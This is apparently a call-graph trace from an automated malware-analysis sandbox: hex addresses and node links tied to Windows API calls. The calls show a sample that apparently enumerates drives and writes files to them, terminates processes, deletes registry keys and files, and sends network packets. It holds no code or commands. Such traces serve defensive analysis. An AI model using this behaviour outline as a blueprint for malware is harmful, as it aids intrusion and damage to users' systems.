29daa67 9415 29daae2 9414->9415 9417 29d80da InterlockedExchange 9414->9417 9420 29daaf9 9415->9420 9660 29d7b42 9415->9660 9416->9397 9416->9405 9416->9412 9423 29da5f3 9416->9423 9417->9415 9419 29dabd9 9458 29d13e8 InterlockedExchange 9419->9458 9420->9419 9422 29d80da InterlockedExchange 9420->9422 9422->9419 9424 29da6e0 IsBadHugeWritePtr 9423->9424 9424->9405 9425 29da705 IsBadHugeWritePtr 9424->9425 9425->9405 9441 29da71c 9425->9441 9426 29dac7a 9674 29d687e 9426->9674 9427 29dabef 9427->9426 9428 29dacb7 9427->9428 9431 29d80da InterlockedExchange 9427->9431 9428->9397 9459 29d867a 9428->9459 9431->9426 9433 29d7c71 2 API calls 9442 29dade3 9433->9442 9434 29da778 IsBadHugeWritePtr 9435 29da79b IsBadHugeWritePtr 9434->9435 9434->9441 9435->9441 9436 29da7c7 lstrcmpiA 9437 29da826 lstrcmpiA 9436->9437 9436->9441 9438 29da85b lstrcmpiA 9437->9438 9437->9441 9439 29da88d lstrcmpiA 9438->9439 9438->9441 9440 29da8ce lstrcmpiA 9439->9440 9439->9441 9440->9441 9441->9405 9441->9434 9441->9436 9441->9437 9441->9438 9441->9439 9441->9440 9442->9397 9702 29d2745 9442->9702 9444 29db31f 9445 29db3f2 9444->9445 9713 29d13e8 InterlockedExchange 9445->9713 9447 29db43c GetTickCount 9448 29db469 9447->9448 9449 29db517 9447->9449 9714 29d13e8 InterlockedExchange 9448->9714 9449->9397 9451 29db46e 9451->9449 9715 29d13e8 InterlockedExchange 9451->9715 9453->9356 9454->9358 9455->9395 9456->9416 9457->9414 9458->9427 9460 29d86e3 9459->9460 9463 29d8714 9460->9463 9744 29d13e8 InterlockedExchange 9460->9744 9462 29d8789 9716 29d13e8 InterlockedExchange 9462->9716 9463->9462 9466 29d80da InterlockedExchange 9463->9466 9465 29d87a8 9467 29d87d7 9465->9467 9745 29d13e8 InterlockedExchange 9465->9745 9466->9463 9469 29d7b42 InterlockedExchange 9467->9469 9470 29d8810 9469->9470 9471 29d7b42 InterlockedExchange 9470->9471 9472 29d8838 9471->9472 9717 29d13e8 InterlockedExchange 9472->9717 9474 29d8862 9475 29d8891 9474->9475 9746 29d13e8 InterlockedExchange 9474->9746 9476 29d7b42 InterlockedExchange 9475->9476 9478 29d88b8 9476->9478 9479 29d7b42 InterlockedExchange 9478->9479 9480 29d88f5 9479->9480 9481 29d687e InterlockedExchange 9480->9481 9482 29d8930 9481->9482 9718 29d13e8 InterlockedExchange 9482->9718 9484 29d8940 9719 29d5ccb 9484->9719 9486 29d896c 9723 29d13e8 InterlockedExchange 9486->9723 9488 29d8982 9489 29d89b1 9488->9489 9747 29d13e8 InterlockedExchange 9488->9747 9490 29d7b42 InterlockedExchange 9489->9490 9492 29d89e2 9490->9492 9724 29d13e8 InterlockedExchange 9492->9724 9494 29d89f8 9495 29d8a2f 9494->9495 9748 29d13e8 InterlockedExchange 9494->9748 9497 29d7b42 InterlockedExchange 9495->9497 9498 29d8a72 9497->9498 9499 29d687e InterlockedExchange 9498->9499 9500 29d8adf 9499->9500 9725 29d84e6 9500->9725 9502 29d8b05 9503 29d687e InterlockedExchange 9502->9503 9504 29d8b25 9503->9504 9505 29d7b42 InterlockedExchange 9504->9505 9506 29d8b4d 9505->9506 9507 29d687e InterlockedExchange 9506->9507 9508 29d8ba8 9507->9508 9738 29d13e8 InterlockedExchange 9508->9738 9510 29d8bd2 9512 29d8c11 9510->9512 9749 29d13e8 InterlockedExchange 9510->9749 9513 29d7b42 InterlockedExchange 9512->9513 9514 29d8c4e 9513->9514 9739 29d13e8 InterlockedExchange 9514->9739 9516 29d8c5e 9518 29d8c9d 9516->9518 9750 29d13e8 InterlockedExchange 9516->9750 9519 29d7b42 InterlockedExchange 9518->9519 9520 29d8ce0 9519->9520 9521 29d687e InterlockedExchange 9520->9521 9522 29d8d00 9521->9522 9523 29d687e InterlockedExchange 9522->9523 9524 29d8d3a 9523->9524 9525 29d84e6 InterlockedExchange 9524->9525 9526 29d8d60 9525->9526 9527 29d687e InterlockedExchange 9526->9527 9528 29d8d80 9527->9528 9529 29d84e6 InterlockedExchange 9528->9529 9530 29d8da6 9529->9530 9531 29d687e InterlockedExchange 9530->9531 9532 29d8dec 9531->9532 9533 29d7b42 InterlockedExchange 9532->9533 9534 29d8e14 9533->9534 9740 29d13e8 InterlockedExchange 9534->9740 9536 29d8e24 9538 29d8e63 9536->9538 9751 29d13e8 InterlockedExchange 9536->9751 9539 29d7b42 InterlockedExchange 9538->9539 9540 29d8ebb 9539->9540 9541 29d7b42 InterlockedExchange 9540->9541 9542 29d8f2e 9541->9542 9543 29d7b42 InterlockedExchange 9542->9543 9544 29d8f56 9543->9544 9741 29d13e8 InterlockedExchange 9544->9741 9546 29d8f66 9548 29d8fa5 9546->9548 9752 29d13e8 InterlockedExchange 9546->9752 9549 29d7b42 InterlockedExchange 9548->9549 9550 29d8ff2 9549->9550 9551 29d687e InterlockedExchange 9550->9551 9552 29d905f 9551->9552 9553 29d84e6 InterlockedExchange 9552->9553 9554 29d9085 9553->9554 9555 29d687e InterlockedExchange 9554->9555 9556 29d90a5 9555->9556 9557 29d687e InterlockedExchange 9556->9557 9558 29d90fb 9557->9558 9559 29d687e InterlockedExchange 9558->9559 9560 29d9156 9559->9560 9561 29d7b42 InterlockedExchange 9560->9561 9562 29d91b4 9561->9562 9563 29d7b42 InterlockedExchange 9562->9563 9564 29d91dc 9563->9564 9742 29d13e8 InterlockedExchange 9564->9742 9566 29d91ec 9568 29d9233 9566->9568 9753 29d13e8 InterlockedExchange 9566->9753 9569 29d7b42 InterlockedExchange 9568->9569 9570 29d928a 9569->9570 9571 29d687e InterlockedExchange 9570->9571 9572 29d92aa 9571->9572 9573 29d687e InterlockedExchange 9572->9573 9574 29d9317 9573->9574 9575 29d84e6 InterlockedExchange 9574->9575 9576 29d933d 9575->9576 9577 29d687e InterlockedExchange 9576->9577 9578 29d935d 9577->9578 9579 29d7b42 InterlockedExchange 9578->9579 9580 29d9383 9579->9580 9581 29d7b42 InterlockedExchange 9580->9581 9582 29d93ab 9581->9582 9743 29d13e8 InterlockedExchange 9582->9743 9584 29d93f6 9586 29d943d 9584->9586 9754 29d13e8 InterlockedExchange 9584->9754 9587 29d7b42 InterlockedExchange 9586->9587 9588 29d9494 9587->9588 9589 29d7b42 InterlockedExchange 9588->9589 9590 29d94bc 9589->9590 9591 29d7b42 InterlockedExchange 9590->9591 9592 29d94e4 9591->9592 9593 29d7b42 InterlockedExchange 9592->9593 9594 29d950a 9593->9594 9595 29d7b42 InterlockedExchange 9594->9595 9596 29d9533 9595->9596 9597 29d7b42 InterlockedExchange 9596->9597 9598 29d95b8 9597->9598 9599 29d7b42 InterlockedExchange 9598->9599 9600 29d95ed 9599->9600 9600->9397 9600->9433 9602 29d573a SetFileAttributesA DeleteFileA 9601->9602 9603 29d5722 9601->9603 9604 29d5738 9602->9604 9605 29d9652 49 API calls 9603->9605 9604->9360 9606 29d572f 9605->9606 9606->9602 9606->9604 9607->9398 9609 29d811e 9608->9609 9610 29d812f 9608->9610 9759 29d7ee9 9609->9759 9771 29d13e8 InterlockedExchange 9610->9771 9613 29d813f 9614 29d8203 9613->9614 9772 29d804f 9613->9772 9616 29d8239 9614->9616 9618 29d7ee9 InterlockedExchange 9614->9618 9782 29d13e8 InterlockedExchange 9616->9782 9618->9616 9621 29d84d4 9621->9406 9622 29d8183 9625 29d8199 9622->9625 9626 29d81b0 9622->9626 9623 29d8249 9628 29d804f InterlockedExchange 9623->9628 9659 29d8449 9623->9659 9624 29d7ee9 InterlockedExchange 9624->9621 9779 29d13e8 InterlockedExchange 9625->9779 9780 29d13e8 InterlockedExchange 9626->9780 9631 29d827c 9628->9631 9630 29d819e 9781 29d13e8 InterlockedExchange 9630->9781 9631->9659 9783 29d13e8 InterlockedExchange 9631->9783 9634 29d81e0 9636 29d7b42 InterlockedExchange 9634->9636 9635 29d82a1 9784 29d13e8 InterlockedExchange 9635->9784 9636->9614 9638 29d82c1 9639 29d8309 9638->9639 9640 29d82db 9638->9640 9641 29d7b42 InterlockedExchange 9639->9641 9642 29d5ccb InterlockedExchange 9640->9642 9643 29d82f8 9641->9643 9642->9643 9785 29d13e8 InterlockedExchange 9643->9785 9645 29d8344 9646 29d7b42 InterlockedExchange 9645->9646 9647 29d8356 9645->9647 9646->9647 9648 29d83dd 9647->9648 9649 29d83c6 9647->9649 9787 29d13e8 InterlockedExchange 9648->9787 9786 29d13e8 InterlockedExchange 9649->9786 9652 29d83cb 9653 29d7b42 InterlockedExchange 9652->9653 9654 29d8415 9653->9654 9655 29d842a 9654->9655 9656 29d8473 9654->9656 9788 29d13e8 InterlockedExchange 9655->9788 9789 29d13e8 InterlockedExchange 9656->9789 9659->9621 9659->9624 9661 29d687e InterlockedExchange 9660->9661 9662 29d7b61 9661->9662 9663 29d7ba2 9662->9663 9664 29d7b72 9662->9664 9666 29d7ba8 9663->9666 9667 29d7bd5 9663->9667 9801 29d6a85 9664->9801 9851 29d7410 9666->9851 9669 29d7bdb 9667->9669 9670 29d7c06 9667->9670 9880 29d78a4 9669->9880 9673 29d7b92 9670->9673 9885 29d79f3 9670->9885 9673->9420 9675 29d689f 9674->9675 9676 29d68a6 9674->9676 9675->9428 9907 29d13e8 InterlockedExchange 9676->9907 9678 29d68b2 9679 29d68df 9678->9679 9908 29d13e8 InterlockedExchange 9678->9908 9918 29d13e8 InterlockedExchange 9679->9918 9682 29d68cd 9682->9679 9909 29d13e8 InterlockedExchange 9682->9909 9684 29d68fb 9685 29d6998 9684->9685 9686 29d6911 9684->9686 9914 29d13e8 InterlockedExchange 9685->9914 9910 29d13e8 InterlockedExchange 9686->9910 9689 29d699d 9700 29d6968 9689->9700 9915 29d13e8 InterlockedExchange 9689->9915 9690 29d6916 9691 29d692c 9690->9691 9692 29d6943 9690->9692 9911 29d13e8 InterlockedExchange 9691->9911 9912 29d13e8 InterlockedExchange 9692->9912 9697 29d69b4 9916 29d13e8 InterlockedExchange 9697->9916 9698 29d6931 9913 29d13e8 InterlockedExchange 9698->9913 9917 29d13e8 InterlockedExchange 9700->9917 9919 29d13e8 InterlockedExchange 9702->9919 9704 29d27a3 9704->9444 9705 29d2754 9705->9704 9706 29d2b0f 9705->9706 9707 29d2a79 9705->9707 9706->9704 9920 29d231e 9706->9920 9708 29d2ad5 9707->9708 9709 29d2a86 9707->9709 9710 29d1420 InterlockedExchange 9708->9710 9712 29d1420 InterlockedExchange 9709->9712 9710->9704 9712->9704 9713->9447 9714->9451 9715->9451 9716->9465 9717->9474 9718->9484 9721 29d5da7 9719->9721 9755 29d13e8 InterlockedExchange 9721->9755 9722 29d5e39 9722->9486 9723->9488 9724->9494 9726 29d8521 9725->9726 9727 29d8673 9726->9727 9728 29d853b 9726->9728 9756 29d13e8 InterlockedExchange 9726->9756 9727->9502 9757 29d13e8 InterlockedExchange 9728->9757 9731 29d85a0 9733 29d85c5 9731->9733 9734 29d7b42 InterlockedExchange 9731->9734 9732 29d855f 9732->9731 9758 29d13e8 InterlockedExchange 9732->9758 9736 29d687e InterlockedExchange 9733->9736 9734->9733 9737 29d8663 9736->9737 9737->9502 9738->9510 9739->9516 9740->9536 9741->9546 9742->9566 9743->9584 9744->9460 9745->9465 9746->9474 9747->9488 9748->9494 9749->9510 9750->9516 9751->9536 9752->9546 9753->9566 9754->9584 9755->9722 9756->9728 9757->9732 9758->9731 9760 29d687e InterlockedExchange 9759->9760 9761 29d7f22 9760->9761 9790 29d13e8 InterlockedExchange 9761->9790 9763 29d7f36 9764 29d8022 9763->9764 9791 29d13e8 InterlockedExchange 9763->9791 9766 29d687e InterlockedExchange 9764->9766 9767 29d8039 9766->9767 9767->9610 9768 29d13e8 InterlockedExchange 9770 29d7f51 9768->9770 9770->9764 9770->9768 9792 29d1420 9770->9792 9771->9613 9773 29d80cf 9772->9773 9774 29d8069 9772->9774 9773->9614 9778 29d13e8 InterlockedExchange 9773->9778 9774->9773 9799 29d13e8 InterlockedExchange 9774->9799 9776 29d8097 9776->9773 9800 29d13e8 InterlockedExchange 9776->9800 9778->9622 9779->9630 9780->9630 9781->9634 9782->9623 9783->9635 9784->9638 9785->9645 9786->9652 9787->9652 9788->9659 9789->9659 9790->9763 9791->9770 9797 29d13e8 InterlockedExchange 9792->9797 9794 29d1429 9798 29d13e8 InterlockedExchange 9794->9798 9796 29d1437 9796->9770 9797->9794 9798->9796 9799->9776 9800->9776 9802 29d6abb 9801->9802 9803 29d687e InterlockedExchange 9802->9803 9804 29d6aec 9803->9804 9890 29d13e8 InterlockedExchange 9804->9890 9807 29d687e InterlockedExchange 9808 29d6ea2 9807->9808 9809 29d6eb7 9808->9809 9813 29d7272 9808->9813 9894 29d13e8 InterlockedExchange 9809->9894 9811 29d6ebc 9815 29d6f6d 9811->9815 9816 29d6f43 9811->9816 9817 29d6ee6 9811->9817 9818 29d7190 9811->9818 9832 29d7121 9811->9832 9812 29d6afc 9814 29d13e8 InterlockedExchange 9812->9814 9826 29d6bcf 9812->9826 9840 29d1420 InterlockedExchange 9812->9840 9813->9816 9900 29d13e8 InterlockedExchange 9813->9900 9814->9812 9823 29d5ccb InterlockedExchange 9815->9823 9824 29d73c1 9816->9824 9831 29d687e InterlockedExchange 9816->9831 9835 29d687e InterlockedExchange 9817->9835 9821 29d71cd 9818->9821 9822 29d7196 9818->9822 9819 29d6d84 9849 29d6e7b 9819->9849 9892 29d13e8 InterlockedExchange 9819->9892 9828 29d71ed 9821->9828 9829 29d71d6 9821->9829 9827 29d7410 InterlockedExchange 9822->9827 9830 29d6f88 9823->9830 9824->9673 9891 29d13e8 InterlockedExchange 9826->9891 9827->9816 9899 29d13e8 InterlockedExchange 9828->9899 9898 29d13e8 InterlockedExchange 9829->9898 9836 29d687e InterlockedExchange 9830->9836 9831->9824 9832->9816 9897 29d13e8 InterlockedExchange 9832->9897 9835->9816 9839 29d6fa8 9836->9839 9838 29d71db 9850 29d687e InterlockedExchange 9838->9850 9841 29d6fb9 9839->9841 9842 29d6ff3 9839->9842 9840->9812 9895 29d13e8 InterlockedExchange 9841->9895 9896 29d13e8 InterlockedExchange 9842->9896 9844 29d6e46 9848 29d6a85 InterlockedExchange 9844->9848 9847 29d6e06 9847->9844 9893 29d13e8 InterlockedExchange 9847->9893 9848->9849 9849->9807 9850->9816 9852 29d687e InterlockedExchange 9851->9852 9853 29d745c 9852->9853 9901 29d13e8 InterlockedExchange 9853->9901 9855 29d687e InterlockedExchange 9856 29d7594 9855->9856 9857 29d7616 9856->9857 9904 29d13e8 InterlockedExchange 9856->9904 9863 29d7859 9857->9863 9866 29d687e InterlockedExchange 9857->9866 9858 29d746c 9879 29d756d 9858->9879 9902 29d13e8 InterlockedExchange 9858->9902 9860 29d75e8 9860->9857 9862 29d76f7 9860->9862 9865 29d7650 9860->9865 9864 29d5ccb InterlockedExchange 9862->9864 9863->9673 9867 29d7712 9864->9867 9871 29d687e InterlockedExchange 9865->9871 9866->9863 9868 29d687e InterlockedExchange 9867->9868 9872 29d7732 9868->9872 9869 29d74f0 9873 29d7538 9869->9873 9903 29d13e8 InterlockedExchange 9869->9903 9871->9857 9874 29d777d 9872->9874 9875 29d7743 9872->9875 9876 29d7410 InterlockedExchange 9873->9876 9906 29d13e8 InterlockedExchange 9874->9906 9905 29d13e8 InterlockedExchange 9875->9905 9876->9879 9879->9855 9881 29d687e InterlockedExchange 9880->9881 9882 29d78db 9881->9882 9883 29d79e1 9882->9883 9884 29d687e InterlockedExchange 9882->9884 9883->9673 9884->9883 9886 29d687e InterlockedExchange 9885->9886 9887 29d7a2a 9886->9887 9888 29d7b30 9887->9888 9889 29d687e InterlockedExchange 9887->9889 9888->9673 9889->9888 9890->9812 9891->9819 9892->9847 9893->9847 9894->9811 9895->9816 9896->9816 9897->9816 9898->9838 9899->9838 9900->9816 9901->9858 9902->9869 9903->9869 9904->9860 9905->9857 9906->9857 9907->9678 9908->9682 9909->9684 9910->9690 9911->9698 9912->9698 9913->9700 9914->9689 9915->9697 9916->9700 9917->9679 9918->9675 9919->9705 9921 29df030 2 API calls 9920->9921 9922 29d232c 9921->9922 9927 29df350 9922->9927 9924 29d2338 9925 29df310 2 API calls 9924->9925 9926 29d2340 9925->9926 9926->9704 9928 29df3a2 9927->9928 9930 29df449 9928->9930 9931 29d13e8 InterlockedExchange 9928->9931 9930->9924 9931->9930 9933 29e3600 9932->9933 9934 29dca94 lstrcpy GetDriveTypeA 9933->9934 9935 29dcb1e RtlExitUserThread 9934->9935 9936 29dcb04 9934->9936 9987 29dbadd Sleep 9936->9987 9941 29dcc47 9939->9941 9940 29dcc86 RtlExitUserThread 9941->9940 10009 29dcb2d RegOpenKeyExA 9941->10009 9943 29dcc5c Sleep 9944 29dcb2d 56 API calls 9943->9944 9945 29dcc76 Sleep 9944->9945 9945->9941 9947 29dddc3 9946->9947 10018 29d13e8 InterlockedExchange 9947->10018 9949 29dde99 Sleep 10019 29d5be5 GetTempPathA lstrlen 9949->10019 9952 29ddeed WriteFile FindCloseChangeNotification 9953 29ddf1a 9952->9953 9954 29d9652 51 API calls 9953->9954 9955 29ddf36 Sleep 9953->9955 9960 29ddf43 9953->9960 9954->9953 9955->9953 9956 29de4d3 RtlExitUserThread 9958 29ddc56 11 API calls 9959 29ddf9a Sleep GetLogicalDrives 9958->9959 9959->9960 9960->9956 9960->9958 9961 29de4c3 Sleep 9960->9961 9962 29de007 GetDriveTypeA 9960->9962 9961->9960 9962->9960 9963 29de04b lstrcat CreateFileA 9962->9963 9964 29de08d GetFileTime FileTimeToSystemTime 9963->9964 9965 29de2b0 GetFileAttributesA 9963->9965 9968 29de2a3 CloseHandle 9964->9968 9983 29de0cb 9964->9983 9966 29de2cc SetFileAttributesA DeleteFileA 9965->9966 9967 29de2f7 CreateFileA 9965->9967 10073 29d5758 SHFileOperation RemoveDirectoryA 9966->10073 9967->9960 9970 29de326 GetSystemTime SystemTimeToFileTime 9967->9970 9968->9965 10029 29d5618 9970->10029 9971 29de2f4 9971->9967 9973 29de100 ReadFile CharLowerA lstrlen 9974 29de297 9973->9974 9973->9983 9974->9968 9976 29d42c7 2 API calls 9976->9983 9977 29de3ae lstrcat 9979 29de394 9977->9979 9978 29de3c2 lstrcat 9978->9979 9979->9977 9979->9978 10034 29d13e8 InterlockedExchange 9979->10034 10035 29dd928 9979->10035 9981 29de3e7 6 API calls 9981->9960 9982 29de47e WriteFile CloseHandle SetFileAttributesA 9981->9982 9982->9960 9983->9968 9983->9973 9983->9974 9983->9976 9984 29de1f3 lstrcpy GetFileAttributesA 9983->9984 9984->9974 9985 29de21f CloseHandle CreateFileA 9984->9985 9985->9974 9986 29de257 WriteFile CloseHandle SetFileAttributesA 9985->9986 9986->9974 9988 29dbb6c lstrcat 9987->9988 9989 29dbb84 lstrcpy CharLowerA 9987->9989 9988->9989 9990 29d42c7 2 API calls 9989->9990 9991 29dbbb3 9990->9991 9992 29dbbba 9991->9992 9993 29dbbd6 lstrcat FindFirstFileA 9991->9993 9992->9935 9994 29dbc38 9993->9994 9995 29dbc06 FindNextFileA 9993->9995 9996 29dbe5e FindClose 9994->9996 9997 29dbe6b Sleep 9994->9997 9995->9994 10007 29dbc1f 9995->10007 9996->9997 9997->9992 9998 29dbc6d lstrlen 10000 29dbc9b lstrcat lstrlen CharUpperA lstrlen 9998->10000 9998->10007 9999 29dbc46 Sleep 9999->9998 10001 29dbce8 lstrcmpiA 10000->10001 10000->10007 10002 29dbd00 lstrcmpiA 10001->10002 10001->10007 10002->10007 10003 29dbda1 lstrcpy lstrlen lstrcmpiA 10003->10007 10004 29d9652 51 API calls 10004->10007 10005 29dbadd 51 API calls 10005->10007 10006 29d42c7 2 API calls 10006->10007 10007->9994 10007->9995 10007->9998 10007->9999 10007->10003 10007->10004 10007->10005 10007->10006 10008 29d5719 51 API calls 10007->10008 10008->10007 10010 29dcc27 RegCloseKey 10009->10010 10011 29dcb83 RegEnumValueA 10009->10011 10010->9943 10012 29dcbd2 10011->10012 10013 29dcbc7 10011->10013 10012->10010 10013->10012 10014 29dcbd4 GetFileAttributesA 10013->10014 10015 29dcbe6 10014->10015 10016 29d9652 51 API calls 10015->10016 10017 29dcbfd Sleep 10015->10017 10016->10015 10017->10010 10017->10011 10018->9949 10020 29d5c34 lstrcat 10019->10020 10021 29d5c43 10019->10021 10020->10021 10022 29d5618 2 API calls 10021->10022 10023 29d5c4f lstrcpy 10022->10023 10074 29d13e8 InterlockedExchange 10023->10074 10025 29d5c65 10026 29d5c9f lstrlen wsprintfA 10025->10026 10027 29d5c77 lstrlen wsprintfA 10025->10027 10028 29d5cc6 CreateFileA 10026->10028 10027->10028 10028->9952 10028->9953 10075 29d13e8 InterlockedExchange 10029->10075 10031 29d568a lstrcpy 10031->9979 10033 29d563f 10033->10031 10076 29d13e8 InterlockedExchange 10033->10076 10034->9979 10036 29dd9bd 10035->10036 10077 29d13e8 InterlockedExchange 10036->10077 10038 29dd9c5 10039 29dd9e3 lstrcat 10038->10039 10078 29dd7cf lstrlen 10038->10078 10099 29d13e8 InterlockedExchange 10039->10099 10042 29dd9e0 10042->10039 10043 29dd9f8 10044 29dda13 10043->10044 10045 29dd7cf 10 API calls 10043->10045 10046 29ddb9e 10044->10046 10047 29dda3e 10044->10047 10045->10044 10108 29d13e8 InterlockedExchange 10046->10108 10100 29d13e8 InterlockedExchange 10047->10100 10050 29ddba3 10051 29ddbbe 10050->10051 10052 29dd7cf 10 API calls 10050->10052 10051->9981 10052->10051 10053 29ddb99 10053->9981 10054 29dda43 10054->10053 10101 29d13e8 InterlockedExchange 10054->10101 10056 29dda8e 10057 29ddaac lstrcpy 10056->10057 10058 29dd7cf 10 API calls 10056->10058 10102 29dd6fc 10057->10102 10060 29ddaa9 10058->10060 10060->10057 10062 29d42c7 2 API calls 10063 29ddaf2 10062->10063 10064 29ddb88 lstrcat 10063->10064 10106 29d13e8 InterlockedExchange 10063->10106 10064->10053 10066 29ddb02 10067 29ddb14 lstrcat 10066->10067 10068 29ddb26 lstrcat 10066->10068 10067->10068 10107 29d13e8 InterlockedExchange 10068->10107 10070 29ddb3d 10071 29ddb4f lstrcat 10070->10071 10072 29ddb61 lstrlen wsprintfA 10070->10072 10071->10072 10072->10064 10073->9971 10074->10025 10075->10033 10076->10033 10077->10038 10109 29d13e8 InterlockedExchange 10078->10109 10080 29dd7fb 10081 29dd80d lstrcat 10080->10081 10082 29dd81c 10080->10082 10081->10082 10110 29d13e8 InterlockedExchange 10082->10110 10084 29dd821 10085 29dd833 lstrcat 10084->10085 10086 29dd842 lstrcat 10084->10086 10085->10086 10111 29d13e8 InterlockedExchange 10086->10111 10088 29dd856 10112 29d13e8 InterlockedExchange 10088->10112 10090 29dd908 10091 29dd6fc InterlockedExchange 10090->10091 10092 29dd911 lstrcat 10091->10092 10092->10042 10093 29dd8a2 lstrlen 10094 29d5618 2 API calls 10093->10094 10098 29dd864 10094->10098 10095 29d13e8 InterlockedExchange 10095->10098 10096 29dd8d1 lstrcat 10096->10098 10097 29dd8f7 lstrcat 10097->10098 10098->10090 10098->10093 10098->10095 10098->10096 10098->10097 10099->10043 10100->10054 10101->10056 10104 29dd710 10102->10104 10103 29dd7cb 10103->10062 10104->10103 10105 29d13e8 InterlockedExchange 10104->10105 10105->10104 10106->10066 10107->10070 10108->10050 10109->10080 10110->10084 10111->10088 10112->10098 10114 29d3543 10113->10114 10115 29d35f4 InterlockedExchange 10114->10115 10116 29d361c 10115->10116 10117 29d3901 RtlExitUserThread 10115->10117 10116->10117 10118 29d3696 10116->10118 10119 29d37b3 10116->10119 10121 29d36cf htons 10118->10121 10120 29d37bf 10119->10120 10126 29d380e 10119->10126 10122 29d2745 5 API calls 10120->10122 10148 29d2fa0 10121->10148 10124 29d37d1 10122->10124 10130 29d37e3 sendto 10124->10130 10147 29d37ab 10124->10147 10125 29d385a 10127 29d386b 10125->10127 10128 29d38b7 10125->10128 10126->10117 10126->10125 10139 29d2399 22 API calls 10126->10139 10131 29d2745 5 API calls 10127->10131 10134 29d2745 5 API calls 10128->10134 10130->10147 10135 29d387d 10131->10135 10132 29d370d 10136 29d2745 5 API calls 10132->10136 10133 29d372f 10138 29d2745 5 API calls 10133->10138 10137 29d38c9 10134->10137 10140 29d388f sendto 10135->10140 10135->10147 10141 29d3724 10136->10141 10137->10117 10142 29d38db sendto 10137->10142 10138->10141 10139->10125 10140->10147 10143 29d3779 10141->10143 10144 29d3753 sendto 10141->10144 10142->10117 10145 29d3782 htons 10143->10145 10143->10147 10144->10143 10163 29d22ec 10145->10163 10147->10117 10149 29e3600 10148->10149 10150 29d2fad socket 10149->10150 10151 29d3021 10150->10151 10160 29d3154 10150->10160 10154 29d2745 5 API calls 10151->10154 10152 29d32cc 10152->10132 10152->10133 10153 29d32bf closesocket 10153->10152 10155 29d303f 10154->10155 10156 29d3055 sendto 10155->10156 10155->10160 10157 29d3081 select 10156->10157 10156->10160 10159 29d3159 recvfrom 10157->10159 10157->10160 10159->10160 10161 29d3192 10159->10161 10160->10152 10160->10153 10161->10160 10162 29d2399 22 API calls 10161->10162 10162->10160 10164 29df030 2 API calls 10163->10164 10165 29d22fa 10164->10165 10166 29df0b0 2 API calls 10165->10166 10167 29d2312 10166->10167 10168 29df310 2 API calls 10167->10168 10169 29d231a 10168->10169 10169->10147 10171 29d451d 10170->10171 10172 29d4416 10170->10172 10171->9236 10173 29d4424 RegEnumValueA 10172->10173 10174 29d445d RegDeleteValueA 10172->10174 10179 29d445b 10172->10179 10173->10172 10173->10179 10174->10173 10175 29d4485 RegEnumKeyExA 10176 29d4513 RegCloseKey 10175->10176 10175->10179 10176->10171 10177 29d44b8 10177->10176 10178 29d44ba wsprintfA 10178->10179 10179->10175 10179->10177 10179->10178 10180 29d44ec RegDeleteKeyA 10179->10180 10180->10175 10182 29d480e lstrcat 10181->10182 10183 29d4820 lstrcat lstrcat 10181->10183 10182->10183 10184 29d4856 10183->10184 10184->9257 10186 29d467a 10185->10186 10187 29d4681 CloseHandle 10185->10187 10186->10187 10187->9263 10189 29d45f6 10188->10189 10190 29d45d0 WriteFile CloseHandle 10188->10190 10191 29d470f 10189->10191 10190->10189 10193 29d4724 10191->10193 10192 29d47a5 SetFileAttributesA DeleteFileA 10192->9270 10193->10192 10195 29d4c58 lstrcat 10194->10195 10196 29d4c6a 10194->10196 10195->10196 10197 29d4c8e GlobalAlloc 10196->10197 10198 29d4cc0 10196->10198 10199 29d4cbb 10197->10199 10198->9239 10198->9272 10199->10198 10200 29d4ccf lstrcat 10199->10200 10201 29d5be5 10 API calls 10200->10201 10202 29d4d17 CopyFileA 10201->10202 10203 29d4d4b 10202->10203 10204 29d4d34 LoadLibraryExA 10202->10204 10205 29d4d7b GlobalFree GetProcAddress 10203->10205 10206 29d4d54 LoadLibraryExA 10203->10206 10204->10203 10205->10198 10207 29d4db1 10205->10207 10206->10198 10206->10205 10207->10198 10208 29d4e61 GlobalAlloc 10207->10208 10209 29d4e9b CreateFileA 10208->10209 10209->10198 10211 29d4f2c WriteFile CloseHandle GlobalFree FreeLibrary 10209->10211 10211->10198 10212 29d4f82 DeleteFileA 10211->10212 10212->10198 10214 29d538b 10213->10214 10215 29d53a6 RtlExitUserThread 10214->10215 10226 29d5119 CreateToolhelp32Snapshot 10214->10226 10217 29d5399 Sleep 10217->10214 10224 29d4919 10218->10224 10219 29d4925 Sleep 10219->10224 10220 29d4993 RtlExitUserThread 10221 29d4986 Sleep 10221->10224 10222 29d4956 lstrlen 10222->10221 10222->10224 10224->10219 10224->10220 10224->10221 10224->10222 10225 29d4939 Sleep 10224->10225 10225->10224 10227 29d5376 CloseHandle 10226->10227 10228 29d5176 Process32First 10226->10228 10227->10217 10229 29d51b4 CharUpperA 10228->10229 10230 29d5282 Process32Next 10228->10230 10236 29d51cd 10229->10236 10230->10227 10231 29d529d CharUpperA 10230->10231 10233 29d52bc 10231->10233 10232 29d523b 10232->10230 10254 29d5020 CreateToolhelp32Snapshot Module32First 10232->10254 10233->10230 10235 29d5020 7 API calls 10233->10235 10241 29d4f99 6 API calls 10233->10241 10245 29d42c7 2 API calls 10233->10245 10247 29d4f99 6 API calls 10233->10247 10234 29d42c7 2 API calls 10234->10236 10235->10233 10236->10232 10236->10234 10239 29d5211 10236->10239 10238 29d5255 10238->10230 10242 29d4f99 6 API calls 10238->10242 10249 29d4f99 CreateFileA 10239->10249 10244 29d52db Sleep 10241->10244 10246 29d5268 Sleep 10242->10246 10244->10230 10245->10233 10246->10230 10248 29d5353 Sleep 10247->10248 10248->10233 10250 29d4ffc WriteFile CloseHandle 10249->10250 10251 29d4fca OpenProcess 10249->10251 10252 29d4ffa Sleep 10250->10252 10251->10252 10253 29d4fe4 TerminateProcess CloseHandle 10251->10253 10252->10232 10253->10252 10255 29d5101 CloseHandle 10254->10255 10259 29d5098 10254->10259 10255->10238 10256 29d50ea Module32Next 10256->10255 10256->10259 10257 29d50a1 CharUpperA 10258 29d42c7 2 API calls 10257->10258 10258->10259 10259->10256 10259->10257 10260 29d50de 10259->10260 10261 29d42c7 2 API calls 10259->10261 10260->10255 10261->10259 10263 29dd509 CloseHandle 10262->10263 10264 29dd2f9 Process32First 10262->10264 10263->9282 10265 29dd32d 10264->10265 10266 29dd40b Process32Next 10264->10266 10265->10266 10267 29dd33a lstrlen 10265->10267 10266->10263 10270 29dd426 10266->10270 10268 29dd34c lstrcpyn 10267->10268 10269 29dd364 lstrcpy 10267->10269 10272 29dd378 7 API calls 10268->10272 10269->10272 10270->10266 10271 29dd433 lstrlen 10270->10271 10280 29dcc92 10270->10280 10273 29dd45d lstrcpy 